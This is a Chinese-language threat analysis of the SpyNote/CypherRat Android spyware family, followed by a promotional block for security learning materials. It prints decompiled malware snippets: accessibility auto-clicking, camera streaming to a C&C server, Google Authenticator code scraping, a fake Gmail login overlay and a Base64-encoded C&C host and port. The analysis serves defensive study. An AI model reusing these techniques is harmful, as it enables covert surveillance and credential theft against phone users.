Android 间谍软件是最常见的恶意软件之一,攻击者通过 Android 间谍软件来跟踪用户位置、检查 Web 浏览记录,甚至窃取敏感信息(密码和信用卡号等),其对银行机构与客户构成的威胁与 Android 银行木马相媲美。间谍软件还可以利用合法 API 与权限来记录电话呼叫记录、远程管理设备、拦截短信或执行其他任务。
在 2022 年最后一季度,研究人员发现 SpyNote 恶意软件家族的样本数量大幅增加。该家族也被称为 SpyMax,旨在秘密记录安卓设备上的用户活动。
虚假应用程序
SpyNote 有几个不同的变种,最新的 SpyNote.C 成为了主流的变种。首先发现的变种 SpyNote.A 和 SpyNote.B 与最新变种 SpyNote.C 的主要区别就是活动目标,SpyNote.C 变种冒充汇丰银行、德意志银行、Kotak 银行、BurlaNu 银行等众多知名金融机构,以及 WhatsApp、Facebook 和 Google Play 等知名应用程序。
同类应用程序
部分 SpyNote.C 应用程序是单独开发的,并被宣传为 CypherRat。这些应用程序会冒充系统通知、Google Play 商店。上面都是共享 C&C 服务器的应用程序。
CypherRat
地下销售
该恶意软件家族的最新变种 SpyNote.C 在 Telegram 进行出售,且名为 CypherRat。攻击者利用 Sellix 支付系统出售 CypherRat,该系统使用加密货币进行交易来防止跟踪。从 2021 年 8 月到 2022 年 10 月间,CypherRat 累积了 80 多个不同的客户。
源码释放
2022 年 10 月,CypherRat 的源代码通过 GitHub 开源。此前地下论坛也发生过诈骗事件,攻击者冒充 CypherRat 开发者从其他犯罪分子那里窃取资金。
数量增长
源码公开后,相关样本数量显著增加。仅从 2022 年 10 月开始,研究人员就收集了超过 1100 个 SpyNote/CypherRat 样本文件,已经超过 2020 年以来的所有样本。
卓越的能力
SpyNote.C 恶意软件变种执行的独特功能,在 2022 年具有远控功能更的恶意软件中被识别出来。除了更新其版本甚至安装新应用程序之外,SpyNote 变种还申请其他权限跟踪短信、电话、视频和录音。
请求权限
SpyNote 的最新版本不仅非常强大,而且还包括各种保护功能,从简单的字符串混淆到使用商业加壳程序。
恶意软件功能
SpyNote 的一些典型功能如下所示:
调用摄像头录制视频并回传
获取 GPS 与网络位置跟踪信息
窃取社交媒体凭据(Facebook、Google)
使用辅助功能从 Google Authenticator 中提取代码
通过键盘记录功能窃取银行凭据
无障碍服务
SpyNote 使用辅助功能服务让用户难以卸载应用程序、安装新版本和安装其他应用程序。借助无障碍服务,无需任何用户输入,SpyNote 就可以点击“安装”和“更新”按钮:
if("android.widget.Button".equals(accessibilityNodeInfo0.getClassName())) {
String s = accessibilityNodeInfo0.getText().toString();
if(!TextUtils.isEmpty(s) && (("安装".equals(s)) || ("install".equals(s.toLowerCase())) || ("done".equals(s.toLowerCase())) || ("完成".equals(s)) || ("\u062A\u062B\u0628\u064A\u062A".equals(s)) || ("确定".equals(s)))) {
accessibilityNodeInfo0.performAction(16);
return true;
}
}
恶意软件通过摄像头录制视频并回传到 C&C 服务器,攻击者可以通过摄像头监视用户。
camera_stream.camera = Camera.open(Integer.valueOf(this.vul[0]).intValue());
...
InetSocketAddress inetSocketAddress0 = new InetSocketAddress(InetAddress.getByName(addr), v);
camera_stream.socket.connect(inetSocketAddress0, 60000);
...
Camera.Parameters params = camera_stream.camera.getParameters();
camera_stream.camera.startPreview();
带 A11y 的 Google Authenticator
SpyNote 利用辅助功能来获取双因子验证(2FA)代码,利用 Google Authenticator 应用程序的辅助功能,SpyNote 能够绕过这些安全措施并在用户不知情的情况下获得对帐户的访问权限。
packagename = "com.google.android.apps.authenticator2"
Iterator iterator0 = utils.findNodeWithClass(accessibilityEvent0.getSource(), "android.view.ViewGroup").iterator();
AccessibilityNodeInfo accessibilityNodeInfo1 = accessibilityNodeInfo0.getChild(v);
s1 = s1 + accessibilityNodeInfo1.getText().toString() + "-";
arr_s = s1.split("-");
...
shared.log(utils.ssss, "Google Authenticator<" + arr_s[v] + "<" + arr_s[v + 1].getBytes());
窃取社交媒体凭据(Facebook 和 Google)
通过启动具有自定义布局的网页来欺骗用户在登录过程中输入他们的私人登录信息,类似传统的覆盖攻击用于向受害者显示虚假登录银行申请页面。
收到攻击者的命令后,攻击者的 C&C 服务器会收到从网页获取的凭据和信息。
social_creds.this.setContentView(0x7F070001); // layout:glogin
social_creds.this.findViewById(0x7F050031).setOnClickListener(singimallisten); // id:sinbtn
social_creds.this.findViewById(0x7F050023).setOnClickListener(lrnmor); // id:lrnmor
social_creds.this.findViewById(0x7F050016).setOnClickListener(Recovergmal); // id:gmailforgtpass
// callback to extract user and password
this.singimallisten = new View.OnClickListener() {
public void onClick(View view0) {
String usrgmail = (social_creds.this.findViewById(0x7F050043)).getText().toString(); // id:usrgmail
String passgmal = (social_creds.this.findViewById(0x7F05002C)).getText().toString(); // id:passgmal
if(usrgmail.length() <= 3) {
cmd_receiver.showToast("Please Check Your Email/Password.");
return;
}
if(passgmal.length() < 8) {
cmd_receiver.showToast("Password Must At least 8 characters.");
return;
}
shared.log(ddddd.ssss, "Gmail<" + s + "<" + s1.getBytes());
social_creds.this.done = true;
social_creds.this.finish();
}
};
获取的敏感信息随后通过辅助功能服务接收来自攻击者的命令,然后传输到应用程序中硬编码的 C&C 服务器,并使用 Base64 编码以使其更加隐蔽。
static {
AccessibilityService.key = const.encryp("bW1tbTE="); // mmmm1
AccessibilityService.c = "K";
AccessibilityService.d = "dGV4dA=="; // text
AccessibilityService.e = "ZGV2ZWxvcA=="; // develop
AccessibilityService.host = "YWRuYW5rYXJhMS5kZG5zLm5ldA=="; // adnankara1.ddns.net
AccessibilityService.port = "Nzc3MQ=="; // 7771
}
其他功能
SpyNote 还通过滥用合法 API 实现在其他间谍软件中观察到的常见功能,例如通过 GPS 和网络跟踪用户失陷设备的位置。同样的,也通过滥用 MediaProjection 来捕获屏幕内容。这些不一定与银行欺诈有关,但确实为犯罪分子提供了更多关于受害者的信息。
结论
SpyNote 将继续使用 Accessibility Service 从用户设备收集基本数据,并且能够朝着更便利分发的方向发展。随着源代码的发布,SpyNote 的不同变种很可能会继续出现。
网络安全学习资源分享:
给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,需要点击下方链接即可前往获取
读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)
同时每个成长路线对应的板块都有配套的视频提供:
大厂面试题
视频配套资料&国内外网安书籍、文档
当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料
所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~
读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)
特别声明:
此教程为纯技术分享!本教程的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本教程的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失。